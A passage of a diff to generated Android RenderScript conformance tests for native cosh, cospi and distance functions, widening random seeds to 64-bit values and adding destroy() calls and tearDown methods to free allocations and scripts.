     private void checkNativeCoshFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2da882dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x81901a9902da882dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeCoshFloat4Float4(inV, out);
             verifyResultsNativeCoshFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshFloat4Float4(inV, out);
             verifyResultsNativeCoshFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeCoshHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf3df9f87l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x41862c01f3df9f87l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeCoshHalfHalf(inV, out);
             verifyResultsNativeCoshHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshHalfHalf(inV, out);
             verifyResultsNativeCoshHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeCoshHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x115e4431l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4212e9fe115e4431l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeCoshHalf2Half2(inV, out);
             verifyResultsNativeCoshHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshHalf2Half2(inV, out);
             verifyResultsNativeCoshHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeCoshHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x70660925l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4212f49f70660925l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeCoshHalf3Half3(inV, out);
             verifyResultsNativeCoshHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshHalf3Half3(inV, out);
             verifyResultsNativeCoshHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeCoshHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xcf6dce19l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x4212ff40cf6dce19l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeCoshHalf4Half4(inV, out);
             verifyResultsNativeCoshHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshHalf4Half4(inV, out);
             verifyResultsNativeCoshHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.java
index 5a6aa10..7bfa972 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeCospiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeCospiFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9b86df38l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2614541c9b86df38l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeCospiFloatFloat(inV, out);
             verifyResultsNativeCospiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiFloatFloat(inV, out);
             verifyResultsNativeCospiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeCospiFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x159c7c5cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8ae37e6159c7c5cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeCospiFloat2Float2(inV, out);
             verifyResultsNativeCospiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiFloat2Float2(inV, out);
             verifyResultsNativeCospiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeCospiFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xbb79d3al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8b001010bb79d3al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeCospiFloat3Float3(inV, out);
             verifyResultsNativeCospiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiFloat3Float3(inV, out);
             verifyResultsNativeCospiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeCospiFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1d2be18l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8b1ca1c01d2be18l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeCospiFloat4Float4(inV, out);
             verifyResultsNativeCospiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiFloat4Float4(inV, out);
             verifyResultsNativeCospiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeCospiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe12d78e2l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf7f58a22e12d78e2l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeCospiHalfHalf(inV, out);
             verifyResultsNativeCospiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiHalfHalf(inV, out);
             verifyResultsNativeCospiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeCospiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8a52674l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xec71c5d008a52674l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeCospiHalf2Half2(inV, out);
             verifyResultsNativeCospiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiHalf2Half2(inV, out);
             verifyResultsNativeCospiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeCospiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x67aceb68l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xec71d07167aceb68l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeCospiHalf3Half3(inV, out);
             verifyResultsNativeCospiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiHalf3Half3(inV, out);
             verifyResultsNativeCospiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeCospiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc6b4b05cl, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xec71db12c6b4b05cl, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeCospiHalf4Half4(inV, out);
             verifyResultsNativeCospiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCospiHalf4Half4(inV, out);
             verifyResultsNativeCospiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCospiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCospiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.java
index ced227b..dd6291e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeDistanceRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inLeftVector;
         public float inRightVector;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativeDistanceFloatFloatFloat() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x30ae2337l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9b58b3c2l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb61d5ec530ae2337l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x98c2c48c9b58b3c2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceFloatFloatFloat(inLeftVector, out);
             verifyResultsNativeDistanceFloatFloatFloat(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceFloatFloatFloat(inLeftVector, out);
             verifyResultsNativeDistanceFloatFloatFloat(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloatFloatFloat: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceFloatFloatFloat(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -126,13 +137,14 @@
     }
 
     private void checkNativeDistanceFloat2Float2Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x27286713l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1e219b6l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xef86e1d727286713l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3d7bc89101e219b6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceFloat2Float2Float(inLeftVector, out);
             verifyResultsNativeDistanceFloat2Float2Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloat2Float2Float: " + e.toString());
         }
@@ -141,9 +153,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceFloat2Float2Float(inLeftVector, out);
             verifyResultsNativeDistanceFloat2Float2Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloat2Float2Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceFloat2Float2Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -212,13 +227,14 @@
     }
 
     private void checkNativeDistanceFloat3Float3Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x48c71b61l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xa78a62d0l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xbe30075548c71b61l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf3e514c0a78a62d0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceFloat3Float3Float(inLeftVector, out);
             verifyResultsNativeDistanceFloat3Float3Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloat3Float3Float: " + e.toString());
         }
@@ -227,9 +243,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceFloat3Float3Float(inLeftVector, out);
             verifyResultsNativeDistanceFloat3Float3Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloat3Float3Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceFloat3Float3Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -298,13 +317,14 @@
     }
 
     private void checkNativeDistanceFloat4Float4Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6a65cfafl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4d32abeal, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8cd92cd36a65cfafl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xaa4e60f04d32abeal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceFloat4Float4Float(inLeftVector, out);
             verifyResultsNativeDistanceFloat4Float4Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloat4Float4Float: " + e.toString());
         }
@@ -313,9 +333,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceFloat4Float4Float(inLeftVector, out);
             verifyResultsNativeDistanceFloat4Float4Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceFloat4Float4Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceFloat4Float4Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -392,13 +415,14 @@
     }
 
     private void checkNativeDistanceHalfHalfHalf() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4093c950l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x46eb99f5l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2682794a4093c950l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x79be38e646eb99f5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceHalfHalfHalf(inLeftVector, out);
             verifyResultsNativeDistanceHalfHalfHalf(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalfHalfHalf: " + e.toString());
         }
@@ -407,9 +431,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceHalfHalfHalf(inLeftVector, out);
             verifyResultsNativeDistanceHalfHalfHalf(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalfHalfHalf: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceHalfHalfHalf(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -481,13 +508,14 @@
     }
 
     private void checkNativeDistanceHalf2Half2Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x30493el, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x763516efl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x928c0c6f0030493el, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9f59f012763516efl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceHalf2Half2Half(inLeftVector, out);
             verifyResultsNativeDistanceHalf2Half2Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalf2Half2Half: " + e.toString());
         }
@@ -496,9 +524,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceHalf2Half2Half(inLeftVector, out);
             verifyResultsNativeDistanceHalf2Half2Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalf2Half2Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceHalf2Half2Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -574,13 +605,14 @@
     }
 
     private void checkNativeDistanceHalf3Half3Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xca7541fal, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6fcade83l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x404559c2ca7541fal, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xcd79ed256fcade83l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceHalf3Half3Half(inLeftVector, out);
             verifyResultsNativeDistanceHalf3Half3Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalf3Half3Half: " + e.toString());
         }
@@ -589,9 +621,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceHalf3Half3Half(inLeftVector, out);
             verifyResultsNativeDistanceHalf3Half3Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalf3Half3Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceHalf3Half3Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -667,13 +702,14 @@
     }
 
     private void checkNativeDistanceHalf4Half4Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x94ba3ab6l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6960a617l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xedfea71694ba3ab6l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfb99ea386960a617l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDistanceHalf4Half4Half(inLeftVector, out);
             verifyResultsNativeDistanceHalf4Half4Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalf4Half4Half: " + e.toString());
         }
